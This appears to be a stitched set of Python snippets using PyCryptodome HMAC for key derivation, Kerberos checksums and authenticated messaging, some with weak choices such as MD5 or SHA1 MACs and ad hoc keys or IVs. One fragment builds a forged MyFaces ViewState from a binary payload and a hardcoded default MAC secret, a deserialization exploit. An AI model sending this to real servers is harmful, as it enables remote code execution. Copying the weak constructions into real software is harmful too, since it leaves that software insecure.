from Crypto.Hash import HMAC secret = b'Swordfish' h = HMAC.new(secret) h.update(b'Hello') print(h.hexdigest())
def communicate_with_bank(self, p_msg): try: fi = open(self.auth_file, 'r') k_tmp = binascii.unhexlify(fi.read()) fi.close() except (IOError, TypeError): sys.exit(255) key_enc = k_tmp[0:AES.block_size] key_mac = k_tmp[AES.block_size:] iv = Random.new().read(AES.block_size) try: cipher = AES.new(key_enc, AES.MODE_CFB, iv) except ValueError: sys.exit(63) outgoing_pkt_id = str(datetime.datetime.now()) p_msg = p_msg + outgoing_pkt_id pkt_len = '%d' % len(p_msg) c_msg = iv + cipher.encrypt(p_msg.zfill(987) + pkt_len.zfill(5)) hash = HMAC.new(key_mac) hash.update(c_msg) pkt = hash.digest() + c_msg try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.bank_ip_address, self.bank_port)) except socket.error: sys.exit(255) sent = sock.sendall(pkt) if sent is not None: sys.exit(63) try: sock.settimeout(10) pkt = sock.recv(1024) sock.settimeout(None) except socket.error: sys.exit(63) if len(pkt) > 0: h_tag = pkt[0:16] c_tmp = pkt[16:] iv = c_tmp[0:AES.block_size] c_msg = c_tmp[AES.block_size:] hash = HMAC.new(key_mac) hash.update(c_tmp) try: cipher = AES.new(key_enc, AES.MODE_CFB, iv) except ValueError: sys.exit(63) if compare_digest(h_tag, hash.digest()): p_tmp = cipher.decrypt(c_msg) pkt_len = p_tmp[-5:] incoming_pkt_id = p_tmp[-31:-5] p_msg = p_tmp[987 - int(pkt_len):-31] if incoming_pkt_id == outgoing_pkt_id: return p_msg else: sys.exit(63) else: sys.exit(63) else: sys.exit(63)
def read_FMP(self, msg): type_command = msg[2] msg_len = int.from_bytes(msg[3:8], 'big') #int if len(msg) == 16 + msg_len + 32: print("(OK): message length matches") else: print("Error: message length does not match") return None sender_id = msg[8:12].decode('utf-8').strip(chr(0)) #string if sender_id == self.DST_ADDR: print("(OK): correct sender address") else: print("Error: wrong sender address") recipient_id = msg[12:16].decode('utf-8').strip(chr(0)) #string if recipient_id == self.OWN_ADDR: print("(OK): correct recipient address") else: print("Error: wrong recipient address") return None iv = msg[16:32] ctext = msg[32:-32] mac = msg[-32:] # verify mac h = HMAC.new(self.session_key, digestmod=SHA256) h.update(msg[:-32]) try: h.verify(mac) print("(OK): MAC ok") except ValueError: print("Error: MAC verification failed") return None # decrypt ptext = self.FMP_DEC(iv, ctext) seq_num = int.from_bytes(ptext[0:2], byteorder='big') content = ptext[2:] # check seq_num if seq_num <= self.seq_last_received: print("Error: invalid sequence number") return None else: self.seq_last_received = seq_num print("(OK): sequence number ok") if type_command == self.protocols.fmp_type2num("MKD"): self.FMP_MKD(content) elif type_command == self.protocols.fmp_type2num("RMD"): self.FMP_RMD(content) elif type_command == self.protocols.fmp_type2num("GWD"): self.FMP_GWD(content) elif type_command == self.protocols.fmp_type2num("CWD"): self.FMP_CWD(content) elif type_command == self.protocols.fmp_type2num("LST"): self.FMP_LST(content) elif type_command == self.protocols.fmp_type2num("UPL"): self.FMP_UPL(content) elif type_command == self.protocols.fmp_type2num("DNL"): self.FMP_DNL(content) elif type_command == self.protocols.fmp_type2num("RMF"): self.FMP_RMF(content) elif type_command == self.protocols.fmp_type2num("END"): self.FMP_END(content) else: print("Error: unknown type_command")
def HKDF(master, key_len, salt, hashmod, num_keys=1, context=None): """Derive one or more keys from a master secret using the HMAC-based KDF defined in RFC5869_. This KDF is not suitable for deriving keys from a password or for key stretching. Use `PBKDF2` instead. HKDF is a key derivation method approved by NIST in `SP 800 56C`__. :Parameters: master : byte string The unguessable value used by the KDF to generate the other keys. It must be a high-entropy secret, though not necessarily uniform. It must not be a password. salt : byte string A non-secret, reusable value that strengthens the randomness extraction step. Ideally, it is as long as the digest size of the chosen hash. If empty, a string of zeroes in used. key_len : integer The length in bytes of every derived key. hashmod : module A cryptographic hash algorithm from `Crypto.Hash`. `Crypto.Hash.SHA512` is a good choice. num_keys : integer The number of keys to derive. Every key is ``key_len`` bytes long. The maximum cumulative length of all keys is 255 times the digest size. context : byte string Optional identifier describing what the keys are used for. :Return: A byte string or a tuple of byte strings. .. _RFC5869: http://tools.ietf.org/html/rfc5869 .. __: http://csrc.nist.gov/publications/nistpubs/800-56C/SP-800-56C.pdf """ output_len = key_len * num_keys if output_len > (255 * hashmod.digest_size): raise ValueError("Too much secret data to derive") if not salt: salt = bchr(0) * hashmod.digest_size if context is None: context = b("") # Step 1: extract hmac = HMAC.new(salt, master, digestmod=hashmod) prk = hmac.digest() # Step 2: expand t = [b("")] n = 1 tlen = 0 while tlen < output_len: hmac = HMAC.new(prk, t[-1] + context + bchr(n), digestmod=hashmod) t.append(hmac.digest()) tlen += hashmod.digest_size n += 1 derived_output = b("").join(t) if num_keys == 1: return derived_output[:key_len] kol = [ derived_output[idx:idx + key_len] for idx in range(0, output_len, key_len) ] return list(kol[:num_keys])
def hmac_sign(s, key, mod=SHA256): hmac = HMAC.new(key, digestmod=mod) hmac.update(s) return hmac.digest()
import base64 import json from Crypto.Hash import HMAC, SHA256 from Crypto.Random import get_random_bytes msg = b'This is the message to use to compute the HMAC' key = get_random_bytes(32) hmac_gen = HMAC.new(key, digestmod=SHA256) hmac_gen.update(msg[:10]) hmac_gen.update(msg[10:]) mac = hmac_gen.hexdigest() json_dict = {"message": msg.decode('utf-8'), "MAC": mac} json_object = json.dumps(json_dict) print(json_object) # ASSUMPTION: we have securely exchanged the secret key b64 = json.loads(json_object) hmac_ver = HMAC.new(key, digestmod=SHA256) hmac_ver.update(b64["message"].encode('utf-8')) try: hmac_ver.hexverify(b64["MAC"]) print("The message '%s' is authentic" % msg) except ValueError: print("The message or the key is wrong")
def prf_SHA256(p, s): return HMAC.new(p, s, SHA256).digest()
def encrypt(secret, signature, key): padded_secret= pad(secret) iv = HMAC.new(str(signature).encode('utf-8'), None, SHA256).hexdigest()[:IV_LENGTH] hmac_key = HMAC.new(str(key).encode('utf-8'), None, SHA256) cipher = AES.new(hmac_key.digest(), AES.MODE_CBC, iv) return base64.b64encode(cipher.encrypt(padded_secret))
def hmac(key, data): if len(key) > 32: print("Warning") return HMAC.new(key, data, digestmod=SHA256).digest()
def _hmac_generate(data, algorithm, key): '''Generate HMAC hash''' digestmod = EncryptedPickle._get_hashlib(algorithm['subtype']) return HMAC.new(key, data, digestmod).digest()
def FMP_MAC(self, msg): h = HMAC.new(self.session_key, digestmod=SHA256) h.update(msg) return h.digest()
def scrypt(password, salt, key_len, N, r, p, num_keys=1): """Derive one or more keys from a passphrase. This function performs key derivation according to the `scrypt`_ algorithm, introduced in Percival's paper `"Stronger key derivation via sequential memory-hard functions"`__. This implementation is based on `RFC7914`__. :Parameters: password : string The secret pass phrase to generate the keys from. salt : string A string to use for better protection from dictionary attacks. This value does not need to be kept secret, but it should be randomly chosen for each derivation. It is recommended to be at least 8 bytes long. key_len : integer The length in bytes of every derived key. N : integer CPU/Memory cost parameter. It must be a power of 2 and less than ``2**32``. r : integer Block size parameter. p : integer Parallelization parameter. It must be no greater than ``(2**32-1)/(4r)``. num_keys : integer The number of keys to derive. Every key is ``key_len`` bytes long. By default, only 1 key is generated. The maximum cumulative length of all keys is ``(2**32-1)*32`` (that is, 128TB). A good choice of parameters *(N, r , p)* was suggested by Colin Percival in his `presentation in 2009`__: - *(16384, 8, 1)* for interactive logins (<=100ms) - *(1048576, 8, 1)* for file encryption (<=5s) :Return: A byte string or a tuple of byte strings. .. _scrypt: http://www.tarsnap.com/scrypt.html .. __: http://www.tarsnap.com/scrypt/scrypt.pdf .. __: https://tools.ietf.org/html/rfc7914 .. __: http://www.tarsnap.com/scrypt/scrypt-slides.pdf """ if 2**(bit_size(N) - 1) != N: raise ValueError("N must be a power of 2") if N >= 2**32: raise ValueError("N is too big") if p > ((2**32 - 1) * 32) // (128 * r): raise ValueError("p or r are too big") prf_hmac_sha256 = lambda p, s: HMAC.new(p, s, SHA256).digest() stage_1 = PBKDF2(password, salt, p * 128 * r, 1, prf=prf_hmac_sha256) scryptROMix = _raw_scrypt_lib.scryptROMix core = _raw_salsa20_lib.Salsa20_8_core # Parallelize into p flows data_out = [] for flow in range(p): idx = flow * 128 * r buffer_out = create_string_buffer(128 * r) result = scryptROMix(stage_1[idx:idx + 128 * r], buffer_out, c_size_t(128 * r), N, core) if result: raise ValueError("Error %X while running scrypt" % result) data_out += [get_raw_buffer(buffer_out)] dk = PBKDF2(password, b("").join(data_out), key_len * num_keys, 1, prf=prf_hmac_sha256) if num_keys == 1: return dk kol = [ dk[idx:idx + key_len] for idx in range(0, key_len * num_keys, key_len) ] return kol
def sender(key, message): h = HMAC.new(key, message, digestmod=SHA256) finalHash = h.hexdigest() print("\nYour message:", message) print("\nYour hash is", finalHash)
def test_null_hash_with_pycrypto_hmac(self): hmac = HMAC.new("secret", "stuff", digestmod=tlsc.NullHash) hmac.update("some more stuff") self.assertEqual("", hmac.digest()) self.assertEqual("", hmac.hexdigest())
def main(): global s datalen = 64 init() inputs = [sys.stdin, s] outputs = [s] output_buffer = deque() while s is not None: #Prevents select from returning the writeable socket when there's nothing to write if (len(output_buffer) > 0): outputs = [s] else: outputs = [] readable, writeable, exceptional = select.select( inputs, outputs, inputs) if s in readable: get_iv = s.recv(16) #Send 16 bytes of IV get_hmac = s.recv(20) #HMAC send 20 bytes for sha1 data = s.recv(datalen) #Get entire message #print "received packet, length "+str(len(data)) if ((data is not None) and (len(data) > 0)): #Python hmac: https://docs.python.org/3/library/hmac.html #HMAC authkey with SHA1 hkey = HMAC.new(authkey, digestmod=SHA) hkey.update(data) #Error output check if (hkey.digest() != get_hmac): #If HMAC and received authkey don't match sys.exit("HMAC is incorrect.") #Encrypt HMAC with AES: https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html h = AES.new(confkey, AES.MODE_CBC, get_iv) #Mode CBC decrypt = h.decrypt(data) #Decrypt the given data #Padding pad = decrypt[-1] #Check padding length if (pad != 10): decrypt = decrypt[:-pad] #Add padding sys.stdout.write(decrypt.decode( 'utf-8')) #Assuming that stdout is always writeable else: #Socket was closed remotely s.close() s = None if sys.stdin in readable: data = sys.stdin.readline(1024) #Setup IV #https://stackoverflow.com/questions/40961482/how-to-use-get-random-bytes-in-linux-kernel-module iv = get_random_bytes(AES.block_size) #Setup encrypt mode if ((len(data) % 16) != 0): #16x byte encryption blocks data = data + (16 - (len(data) % 16)) * chr( 16 - (len(data) % 16)) #repeated length times #Encrypt t = AES.new(confkey, AES.MODE_CBC, iv) ciphertext = t.encrypt(data) #Build HMAC with SHA1 hmac = HMAC.new(authkey, digestmod=SHA) hmac.update(ciphertext) msg = b"".join([iv, hmac.digest(), ciphertext]) #join everything to be sent together if (len(data) > 0): output_buffer.append(msg) else: #EOF encountered, close if the local socket output buffer is empty. if (len(output_buffer) == 0): s.shutdown(socket.SHUT_RDWR) s.close() s = None if s in writeable: if (len(output_buffer) > 0): data = output_buffer.popleft() bytesSent = s.send(data) #If not all the characters were sent, put the unsent characters back in the buffer if (bytesSent < len(data)): output_buffer.appendleft(data[bytesSent:]) if s in exceptional: s.shutdown(socket.SHUT_RDWR) s.close() s = None
def recv(self): recv_flag = True # flag here will decide if the packet should be received or discarded if self.cipher: # Server receive data sent from client # Unpack encrypted data, HMAC, timestamp and nonce # Compare the sent nonce, mac and timestamp with calculated mac and current nonce, timestamp if self.server: # Receive the length packed pkt_len_packed = self.conn.recv(struct.calcsize('HHHH')) unpacked_contents = struct.unpack('HHHH', pkt_len_packed) data_len = unpacked_contents[0] md5_len = unpacked_contents[1] time_len = unpacked_contents[2] nonce_len = unpacked_contents[3] # Receive data sent with unpacked lengths all_data = bytearray( self.conn.recv(data_len + md5_len + time_len + nonce_len)) time_received = bytes(all_data[:time_len]) md5_received = bytes(all_data[time_len:md5_len + time_len]) encrypted_data = bytes(all_data[time_len + md5_len:time_len + md5_len + data_len]) nonce_received = bytes(all_data[data_len + md5_len + time_len:]) receiving = bytes( (bytearray(time_received) + bytearray(encrypted_data) + bytearray(nonce_received))) # Get current timestamp time_now = time.time() # Compare the nonce received with current nonce in server # Calculate the time difference # Decide whether a replay attack happened # if this is a replay attack, the packet will be discarded if (((nonce_received != self.nonce and nonce_received != b'') or (time_now - float(time_received)) > 1) and self.verbose2 is True): print("Replay Attack!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") print("The current nonce is \"{}\"".format(self.nonce)) print("The nonce received is from package \"{}\"".format( nonce_received.decode("ascii"))) print("Sending time: \"{}\"".format( time_received.decode("ascii"))) print("Received time: \"{}\"".format(time_now)) print("Difference of time: \"{}\"".format( time_now - float(time_received))) recv_flag = False data = b'' # If it is not a replay attack, keeps decrypting data and calculate the mac else: padded_c = self.cipher.decrypt(encrypted_data) # Calculate the mac with received encrypted data mac = HMAC.new(self.shared_hash, digestmod=MD5) mac.update(receiving) md5_recalculate = mac.hexdigest().encode("ascii") # decrypt the encrypted data data = unpad(padded_c, AES.block_size) if self.verbose2: print("Receiving packet of length {}".format(data_len + md5_len)) print("Encrypted data: {}".format( repr(encrypted_data))) print("MD5 received: \"{}\"".format( md5_received.decode("ascii"))) print("MD5 calculated with received: \"{}\"".format( md5_recalculate.decode("ascii"))) print("The current nonce is \"{}\"".format( self.nonce.decode("ascii"))) print( "The nonce received from client is \"{}\"".format( nonce_received.decode("ascii"))) print("Sending time: \"{}\"".format( time_received.decode("ascii"))) print("Received time: \"{}\"".format(time_now)) print("Difference of time: \"{}\"".format( time_now - float(time_received))) # Decide whether the data was corrupted depending on hmac if md5_recalculate == md5_received: print("The data received correctly!") # If MD5 is not matched, the packet will be discarded as well else: print("The data was corrupted!") recv_flag = False # Client receive nonce from server else: pkt_len_packed = self.conn.recv(struct.calcsize('H')) unpacked_contents = struct.unpack('H', pkt_len_packed) pkt_len = unpacked_contents[0] encrypted_data = self.conn.recv(pkt_len) data = encrypted_data self.nonce = data # print("The nonce sending from server is {}".format(self.nonce)) else: pkt_len_packed = self.conn.recv(struct.calcsize('H')) unpacked_contents = struct.unpack('H', pkt_len_packed) pkt_len = unpacked_contents[0] encrypted_data = self.conn.recv(pkt_len) data = encrypted_data return data, recv_flag
def checksum(cls, key, keyusage, text): kc = cls.enc.derive(key, pack('>IB', keyusage, 0x99)) hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest() return hmac[:cls.macsize]
from Crypto.Hash import HMAC from Crypto.Hash import SHA from Crypto.Util import Counter from Crypto import Random import sys # Encryption key = b'Sixteen byte key' key = SHA.new(key).hexdigest() key = bytearray(key.encode()) key = list(key) del key[16:] key = bytes(key) print(key) print(type(key)) print(len(key)) iv = Random.new().read(AES.block_size) iv = int.from_bytes(iv, byteorder=sys.byteorder) iv = iv ^ 1 print(type(iv)) plaintext = input('Enter message: ') ctr = Counter.new(128, initial_value=iv) # 16 bytes = 128 bits cipher = AES.new(key, AES.MODE_CTR, counter=ctr) ciphertext = cipher.encrypt(plaintext) print("Ciphertext: " + str(ciphertext)) mac = HMAC.new(key, ciphertext) print("MAC: " + mac.hexdigest())
def hmac(self,data): h=HMAC.new(self.key) h.update(data) return h.hexdigest()
def checksum(cls, key, keyusage, text): ksign = HMAC.new(key.contents, 'signaturekey\0', MD5).digest() md5hash = MD5.new(_RC4.usage_str(keyusage) + text).digest() return HMAC.new(ksign, md5hash, MD5).digest()
def encript_HMAC(msg, hMacS): cifraS = HMAC.new(hMacS, digestmod=SHA256) cifraS.update(msg) mac = cifraS.digest() return mac
def prf(cls, key, string): return HMAC.new(key.contents, string, SHA).digest()
def VerificationEngine(self, ciphertext): hm = HMAC.new(self.MKs, digestmod=SHA) hm.update(ciphertext) return hm.digest()
def MacEngine(self, ciphertext): hm = HMAC.new(self.MKc, digestmod=SHA) hm.update(ciphertext) return hm.digest()
MAC_SECRET = base64.b64decode(b"SnNGOTg3Ni0=") MYFACES_CHARSET = "iso-8859-1" # Load the payload in bindata = open(PAYLOAD_BINARY, 'rb').read() # Encrypt using DES-ECB-PKCS5 engine1 = DESCipher.new(INIT_SECRET, INIT_MODE) pt1 = pad(bindata) enc1 = engine1.encrypt(pt1) # Sign with HMAC-SHA1 engine2 = HMACCipher.new(MAC_SECRET, enc1, SHA1Sum) enc2 = engine2.digest() # Final Result finalr1 = base64.b64encode(enc1 + enc2) # HTTP POST Request - Data preparation postdt = { "j_id_jsp_1623871077_1:email": "*****@*****.**", "j_id_jsp_1623871077_1:submit": "SIGN UP", "j_id_jsp_1623871077_1_SUBMIT": "1", "javax.faces.ViewState": finalr1.decode() }
def string_to_key(cls, string, salt, params): (iterations,) = unpack('>L', params or '\x00\x00\x10\x00') prf = lambda p, s: HMAC.new(p, s, SHA).digest() seed = PBKDF2(string, salt, cls.seedsize, iterations, prf) tkey = cls.random_to_key(seed) return cls.derive(tkey, 'kerberos')